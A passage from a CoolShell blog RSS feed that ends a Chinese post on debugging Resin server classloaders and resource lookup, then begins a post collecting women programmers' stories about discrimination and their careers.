srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片7.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片7-300x104.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6396\" class=\"wp-caption-text\">图7</figcaption></figure>\n<p>比较长，我贴出来：</p>\n<blockquote><p>[CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes], LibraryLoader[com.caucho.config.types.FileSetType@fb6763], CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes], LibraryLoader[com.caucho.config.types.FileSetType@140b8fd], CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes], LibraryLoader[com.caucho.config.types.FileSetType@30fc1f]]</p></blockquote>\n<p>注意到了吧，主角来了。那仔细调试下把。爆料一下：CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes]就是主角。</p>\n<figure id=\"attachment_6397\" aria-describedby=\"caption-attachment-6397\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6397\" title=\"图8\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片8.png\" alt=\"图8\" width=\"554\" height=\"251\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片8.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片8-300x135.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6397\" class=\"wp-caption-text\">图8</figcaption></figure>\n<p>看到了吧，遍历时，当前的Loader为CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes]，而且url可是不为null了哦。再贴一张，看看url的值到底是什么！</p>\n<figure id=\"attachment_6400\" aria-describedby=\"caption-attachment-6400\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6400\" title=\"图9\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片9.png\" alt=\"图9\" width=\"554\" height=\"250\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片9.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片9-300x135.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6400\" class=\"wp-caption-text\">图9</figcaption></figure>\n<p>嗯，不用多做解释了吧。</p>\n<p>最后看看程序输出是否吻合，如下图：</p>\n<figure id=\"attachment_6401\" aria-describedby=\"caption-attachment-6401\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6401\" title=\"图10\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片10.png\" alt=\"图10\" width=\"554\" height=\"81\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片10.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片10-300x43.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6401\" class=\"wp-caption-text\">图10</figcaption></figure>\n<p>然后修改resin.conf中的&lt;compiling-loader&gt;将其注释掉，看看程序结果会不会是我们期望的：/D:/work/resin-3.0.23/webapps/EhCacheTestAnnotation/WEB-INF/classes/。拭目以待。</p>\n<figure id=\"attachment_6402\" aria-describedby=\"caption-attachment-6402\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6402\" title=\"图11\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片11.png\" alt=\"图11\" width=\"554\" height=\"106\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片11.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片11-300x57.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6402\" class=\"wp-caption-text\">图11</figcaption></figure>\n<p>为节省篇幅，一下只关注关键位置。</p>\n<p>首先调试到EnvironmentClassLoader$7806641[host:http://localhost:8787]，我们需要停下来一下。</p>\n<figure id=\"attachment_6403\" aria-describedby=\"caption-attachment-6403\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6403\" title=\"图12\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片12.png\" alt=\"图12\" width=\"554\" height=\"154\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片12.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片12-300x83.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6403\" class=\"wp-caption-text\">图12</figcaption></figure>\n<p>再看一下_loaders的值。</p>\n<figure id=\"attachment_6404\" aria-describedby=\"caption-attachment-6404\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6404\" title=\"图13\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片13.png\" alt=\"图13\" width=\"554\" height=\"157\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片13.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片13-300x85.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6404\" class=\"wp-caption-text\">图13</figcaption></figure>\n<p>贴一个详细的：</p>\n<blockquote><p>[LibraryLoader[com.caucho.config.types.FileSetType@1299f7e], LibraryLoader[com.caucho.config.types.FileSetType@1a631cc], LibraryLoader[com.caucho.config.types.FileSetType@f6398]]</p></blockquote>\n<p>对比一下，在注释掉&lt;compiling-loader&gt;后，loaders中是没有CompilingClassLoader实例的。</p>\n<p>继续，下面就轮到EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]这个ClassLoader了，会是什么样子呢？</p>\n<figure id=\"attachment_6405\" aria-describedby=\"caption-attachment-6405\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6405\" title=\"图14\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片14.png\" alt=\"图14\" width=\"554\" height=\"154\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片14.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片14-300x83.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6405\" class=\"wp-caption-text\">图14</figcaption></figure>\n<p>进入该ClassLoader时，url值依旧为null，那_loaders会有变化吗？如下图：</p>\n<figure id=\"attachment_6406\" aria-describedby=\"caption-attachment-6406\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6406\" title=\"图15\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片15.png\" alt=\"图15\" width=\"554\" height=\"149\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片15.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片15-300x80.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6406\" class=\"wp-caption-text\">图15</figcaption></figure>\n<p>继续遍历_loaders。</p>\n<figure id=\"attachment_6407\" aria-describedby=\"caption-attachment-6407\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6407\" title=\"图16\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片16.png\" alt=\"图16\" width=\"554\" height=\"211\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片16.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片16-300x114.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6407\" class=\"wp-caption-text\">图16</figcaption></figure>\n<p>到这里就结束了，url在EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]中被加载。</p>\n<h5>1) this.getClass().getResourceAsStream(&#8220;/a.txt&#8221;)</h5>\n<p>getResourceAsStream(String name)方法也是采用双亲委派的方式。在前一篇文章中提出“getResourceAsStream可是将获取路径委托给getResource，&lt;compiling-loader&gt;却没有对getResourceAsStream产生影响”</p>\n<p>ClassLoader中getResourceAsStream源码也确实是委托为getResource了，可是为什么呢？</p>\n<p>getResourceAsStream(String name)方法。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic InputStream getResourceAsStream(String name) {\n    URL url = getResource(name);\n    try {\n        return url != null ? url.openStream() : null;\n    } catch (IOException e) {\n        return null;\n    }\n}\n</pre>\n<p>其实不难解释，JVM中ClassLoader的getResourceAsStream(&#8220;/a.txt&#8221;)返回了null，然后开始回溯，与getResource方法的原理一致，直到某个ClassLoader及其子类或者Loader及其子类找到了&#8221;/a.txt&#8221;，并以流的形式返回，当然谁都没找到就返回null。</p>\n<p>捡重点的说。</p>\n<p>调试到sun.misc.Launcher$AppClassLoader@18d107f，即ClassLoader的子类，情形如下图：</p>\n<figure id=\"attachment_6408\" aria-describedby=\"caption-attachment-6408\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6408\" title=\"图17\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片17.png\" alt=\"图17\" width=\"554\" height=\"249\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片17.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片17-300x134.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6408\" class=\"wp-caption-text\">图17</figcaption></figure>\n<p>看见getResource(name)喽，按F5进去看个究竟。如下图，其parent为：sun.misc.Launcher$ExtClassLoader@360be0，其返回null。</p>\n<figure id=\"attachment_6398\" aria-describedby=\"caption-attachment-6398\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6398\" title=\"图18\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片18.png\" alt=\"图18\" width=\"554\" height=\"278\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片18.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片18-300x150.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6398\" class=\"wp-caption-text\">图18</figcaption></figure>\n<p>开始回溯到：EnvironmentClassLoader$1497769[servlet-server:]，与getResource方法一致，开始遍历_loaders集合。</p>\n<p>这样就可以解释为何&lt;compiling-loader&gt;没有影响到getResourceAsStream了。因为资源(这里是/a.txt)，就不是由AppClassLoader和ExtClassLoader加载的，而是由DynamicClassLoader或者其内部的_loaders集合完成的加载。或者更确切的说是由CompilingClassLoader获取到的URL，再转换成InputStream。</p>\n<p><span style=\"color: #ff0000;\"><strong>&lt;comiling-loader&gt;其实对getResourceAsStream还是有点影响的，如果配置中配置了&lt;comiling-loader&gt;，并且&lt;comiling-loader&gt;配置的路径下，与实际项目的指定路径下，都放置了同名资源，则会先加载&lt;comiling-loader&gt;配置路径下的资源。</strong></span></p>\n<p>比如，下图所示：</p>\n<figure id=\"attachment_6399\" aria-describedby=\"caption-attachment-6399\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6399\" title=\"图19\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片19.png\" alt=\"图19\" width=\"554\" height=\"266\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片19.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片19-300x144.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6399\" class=\"wp-caption-text\">图19</figcaption></figure>\n<p>&lt;compiling-loader&gt;配置的路径为：&lt;compiling-loader path=&#8221;webapps/WEB-INF/classes&#8221;/&gt;</p>\n<p>在加载&#8221;/a.txt&#8221;时，优先加载webapps/WEB-INF/classes/a.txt。</p>\n<h4>总结</h4>\n<ol>\n<li>&lt;compiling-loader&gt;如被注释掉，则只会在EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]中的_loaders中被初始化，否则会在EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]和EnvironmentClassLoader$7806641[host:http://localhost:8787两个类加载器各自的_loaders集合中被初始化。(通过调试this.getClass().getResource(&#8220;/test&#8221;).getPath()验证)</li>\n<li>&lt;compiling-loader&gt;未注释掉，&#8221;/&#8221;(根路径)由EnvironmentClassLoader$7806641[host:http://localhost:8787]加载，注释掉后由EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]加载。</li>\n<li>EnvironmentClassLoader$7806641[host:http://localhost:8787]为Resin server的类加载器实例，EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]为Web应用程序的类加载器实例。他们都属于java.net.URLClassLoader的实例。</li>\n<li>&lt;compiling-loader&gt;某种程度上对getResourceAsStream方法有影响。</li>\n</ol>\n<p>现在&lt;compiling-loader&gt;如何影响getResource(&#8220;/&#8221;)，以及getResourceAsStream“不”被影响全部真相大白。</p>\n<p><span style=\"color: #ff0000;\">注：&lt;compiling-loader&gt;只对获取根路径产生影响，也就是参数为&#8221;/&#8221;。比如加载&#8221;/test/Path.class&#8221;不会产生影响。</span></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6112.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/resin01-150x150.png\" alt=\"由一个问题到 Resin ClassLoader 的学习\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6112.html\" class=\"wp_rp_title\">由一个问题到 Resin ClassLoader 的学习</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6335.html\">Resin服务器getResource揭秘</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6335.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员因为女孩而美丽！</title>\n\t\t<link>https://coolshell.cn/articles/6346.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6346.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 04 Jan 2012 00:29:08 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6346</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>女程序员是程序员里美丽的风景线，我希望这些女程序员的经历能让我们在这个“重男轻女”的社会中可以给女程员有更多平等的机会和条件，以及相应的尊重。因为，她们其中不乏...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6346.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6346.html\">程序员因为女孩而美丽！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><span style=\"color: #cc0000;\"><strong>女程序员是程序员里美丽的风景线，我希望这些女程序员的经历能让我们</strong><strong>在这个“重男轻女”的社会中可以给女程员有更多平等的机会和条件，以及相应的尊重</strong><strong>。</strong><strong>因为，她们其中不乏优秀的程序员，而且在心态、态度和努力上还强过很多男性程序员，很多东西都值得我们大家<strong>向她们学习</strong></strong></span>。</p>\n<p>这篇文章的来由是因为Eva在“<a title=\"三个事和三个问题\" href=\"https://coolshell.cn/articles/6142.html\" target=\"_blank\">三个事和三个问题</a>”的评论里<a href=\"https://coolshell.cn/articles/6142.html/comment-page-1#comment-113406\" target=\"_blank\">问我女孩子是否能做技术</a>，她说她的很多师兄都告诉他不要做技术，所以，她有些不坚定了。我的回复是告诉了她我工作经历中的两个技术很牛的女孩，并且我从她们身上学到了多技术。但是，后面有一些人回复说我误导了别人。所以，我在<a href=\"http://weibo.com/1401880315/xE597iX6J\" target=\"_blank\">新浪微博</a>和<a href=\"https://twitter.com/#!/haoel/status/151856699387547649\" target=\"_blank\">twitter</a>上征集女程序员的故事和想法。我一共收到了19封邮件，其中有17封邮件来自女程序员。其中有一个已经发布了（<a title=\"一个女程序员的故事\" href=\"https://coolshell.cn/articles/6312.html\" target=\"_blank\">一个女程序员的故事</a>），其中的一些观点已经在网上传播，并得到了大家的刮目和称赞。但这并不是特例，因为下面的这些故事中，还有很多令人刮目相看的东西。</p>\n<p><strong>说明</strong>：先说明一下，这篇文章并不想讨论女孩子是不是适合做技术，这不值得讨论，因为，在“<a title=\"一个女程序员的故事\" href=\"https://coolshell.cn/articles/6312.html\" target=\"_blank\">一个女程序员的故事</a>”中我们已经知道，态度和努力才是原因，而不是性别。这里，也只是想告诉那些有“性别歧视”、“看不起女程序员”、“骄傲自大”的男程序员们，那些女程序员不为所知的一面。<strong>我把几乎所有的故事都列在这篇文章里了，我觉得我不用再多说什么了，这些故事组成的风景线，可以让你充分地了解女程序员</strong>。</p>\n<figure id=\"attachment_6378\" aria-describedby=\"caption-attachment-6378\" style=\"width: 337px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-6378 \" title=\"Ada Lovelace 世界第一个程序员\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/481px-Ada_Lovelace_1838.jpg\" alt=\"Ada Lovelace 世界第一个程序员\" width=\"337\" height=\"419\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/481px-Ada_Lovelace_1838.jpg 481w, https://coolshell.cn/wp-content/uploads/2012/01/481px-Ada_Lovelace_1838-241x300.jpg 241w, https://coolshell.cn/wp-content/uploads/2012/01/481px-Ada_Lovelace_1838-217x270.jpg 217w\" sizes=\"(max-width: 337px) 100vw, 337px\" /><figcaption id=\"caption-attachment-6378\" class=\"wp-caption-text\">Ada Lovelace 世界第一个程序员</figcaption></figure>\n<p>在看到那些故事之前，我们需要了解这样的现实——</p>\n<p><span id=\"more-6346\"></span></p>\n<ul>\n<li><strong>大多数女孩子并不喜欢技术</strong>。这点从我们的计算机专业的学校就可以看到了。我上大学时，两个专业60个同学，有15个女生，男女比例已经失衡。不过，这些女生今天基本全部都还在做技术。现在，十多年了，她们其中女生还在各个公司的技术部门，主要做 开发和运维。这些是70后的女生。对于80后和90后的女生来说，可能喜欢技术的就更少了。<span style=\"color: #003366;\">Gavin在来信中说：“我们学院每届大约有800名学生，也就是说每年整个计算机学院只有大约50名女生。在这50名女生中，据我所知有至少一半的女生从开始到最后对编程一点兴趣都没有，这一半的女生有的准备跨专业考研，有的在考公务员，有的去了跟计算机专业几乎不沾边的行业去工作了，有的在大二的时候就已经开始修双专业了”。</span>不过，在这里我们来看看做技术的女孩子是什么样的。</li>\n</ul>\n<div></div>\n<ul>\n<li><strong>女孩子在找工作的时候总是会被歧视</strong>。很多用人单位都会问女孩子生孩子的问题，这简直就是干涉隐私和性别歧视，要在西方国家里，完全可以对这样的公司进行起诉。对于这种不尊重女性的公司，无论男女，一定不会尊重员工的。所以，这样的公司一定不要去。而很多女孩也会觉得结婚生子后就不能再从事技术了，所以，她们也对技术行业的未来没有信心。<span style=\"color: #003366;\"><strong>Myma</strong>在来信中说：“女人做技术最怕就是世俗的偏见，尤其是过了30，生了孩子，明显感觉出来了，职业瓶颈”。 <strong>召娣</strong>说：“面试的时候会问有没有男朋友，下一步会不会结婚，接下来就是会不会要孩子之类的”</span>，几乎所有的女程序员都在说这个事。</li>\n</ul>\n<div></div>\n<ul>\n<li><strong>自大的男程序员看不起女程序员</strong>。女程序员在工作中受到太多的不公平的待遇了。就连平时男程序员们都以一种高人一头的语气和她们说话。这样的例子太多了，在我blog中的回复中，在平时，我们都可以看得到。而我们的大多数的女性都会因为别人看不起而失去信心。当然，这点男程序员也一样，因为技术好的人总是会看不起技术不好的人。这是技术人员的通病。<span style=\"color: #003366;\"><strong>冰</strong>在来信中说：“另一个困扰的问题是，可能女生少的原因，在本部门风言风语不断，给我个人生活不少的精神压力，平时同事也会半开玩笑的说，嫁了吧，写什么代码，而且跟一些比较资深的程序员聊天时，总会呵呵的轻笑，然后说你是程序员啊。。。部门一些杂务，通常都扔了给我处理，这个我觉得吃点亏也没什么大事，但是就是忍受不了那种受轻视的感觉”。<strong>Cathy</strong>说：“项目组的组长是一个博士，人很好但是不太会和女孩子打交道，或者说有一些性别歧视吧。”</span></li>\n</ul>\n<div>但是这些现实中的东西，对于我们的女程序员来说算不了什么！不信，你看看他们的故事。<strong>至少你会发现，做技术的女孩一点也不浮华</strong>！</div>\n<h4>女程序员的故事</h4>\n<p>下面的故事，都是原文，没有经过任何编辑。下面的故事，很多也很长，她们串成了一个非常美丽的风景线，<strong>我真的希望你有空能读一读这些故事。你会发现这些故事都有我们自己的身影</strong>。</p>\n<p>真的非常感谢大家对我的信任，给我发来这么多的故事，谢谢你们的支持。我完全相信——</p>\n<h5 style=\"color: #cc0000; text-align: center; font-size: 20px;\">程序员因为女孩而美丽！</h5>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">Shaofei &#8211; 妈妈是个程序员</h5>\n<p>1.我老妈是程序员，老朽今年二十有七了，可以想象年龄。</p>\n<p>2.她20来岁的时候，背着全部门写的程序——一卷打孔纸带去北京上机调试，要排机时，还要给重要的项目让路，改程序么，就是把纸带剪断，用胶粘一段上去之类的。</p>\n<p>3.她们那个时代的程序员都是直接读机器码的，大约就是5665表示begin之类的东西，而且是用打孔纸带二进制表示的，嗯，小时候有印象，她读程序就是站在床上一手拿着纸带卷，另一手抽着读，读过的就拖到地上。</p>\n<p>4.好吧，那个时代的程序员应该坚持到现在的不多，很遗憾她中间也转了管理又转了市场，后来创创业也没成，于是现在待在家里悠闲。</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">zxy_snow &#8211; 半女程序员流水账</h5>\n<p>自我介绍下，女，大三，某高校软件工程专业。</p>\n<p>我想，严格意义上来说，我还算不上女程序员吧，还是一个弱弱的学生。</p>\n<p>接触程序还是在大学开始，或者说，大一下接触ACM 之后吧。当初和朋友一起做ACM，这一年半，不停地学算法、刷题，也成就了一个水题博客（我的CSDN密码??），交到了很多其他大学的朋友，人外有人，深知这句话的意思。虽然算不上太聪明，不过不笨，另外，还算坚持，想想搞ACM 的时候，经常攒着电影没时间看放寒暑假回家看，看一个电影都能刷个题了都。现在想想，那些日子真的很开心。吃饭的时候可以想想，啊，这个应该用这个算法，和朋友们出去的时候可以一起讨论。用学长的话，有一个你可以一直在脑袋里想的问题，多好啊！庆幸自己遇到了ACM，做自己喜欢的事情，尽自己全力，在大学阶段，真的很难<br />\n得。毕竟大学之前，就像机器一样，大家都这么做，我也就这么做，但是大学之后，是完全靠自己想法行动的，无论做什么，都是自己的意愿，这样很有成就感。</p>\n<p>还记得，大二的时候，是好孩子，不想逃课，就印了题、算法、论文去课堂上看，看懂后果断逃课回去敲代码，哈哈，不是个好孩子呢！翘了不少课。寒暑假总被老妈说，说别学了，出去玩玩，哈哈！如果她知道我学的和课业无关她会不会还这么说，嘻嘻！</p>\n<p>今年的11 月，区域赛结束后，算是告别ACM，开始踏上了网络方面的不归路。确切的说，是因为需要做课程设计。我用了俩星期从J2EE 啥也不懂然后和朋友们完成我们的项目，很开心。我想，这些学习能力、代码能力是ACM 给我的。开始一个完全未知的领域真的好难啊，各种不懂，我的“to learn list.txt”一大堆东西，慢慢来吧，近期把JS 的基础视频看完了，《正则表达式必知必》会看完了，struts2 视频正在学，寒假还有各种任务呢！哈，想想寒假我都好兴奋，寒假学习效率会很高的。当然，先应付完期末考试。引用另一位学长的话，搞ACM的要当学霸！优秀应该是各个方面的。</p>\n<p>这次寒假的主要任务是做学校的在线测评系统，怎么说呢，我觉得这是又一件我真心想做并且想把它做得完美的东西。这样的感觉很少有了，但是这次，我真心想把它弄好，所以学架构，写需求分析，数据库设计，学各种需要的知识，但是总感觉，学得越多，自己越需要学的东西就越多，不过，只要开始学了，就有进步的。</p>\n<p>不知道符合要求不，似乎又写了一篇流水账，所以说我觉得我还不算是程序员，不过未来很希望成为一名程序员，写代码多开心呐！</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">璀璨 &#8211; 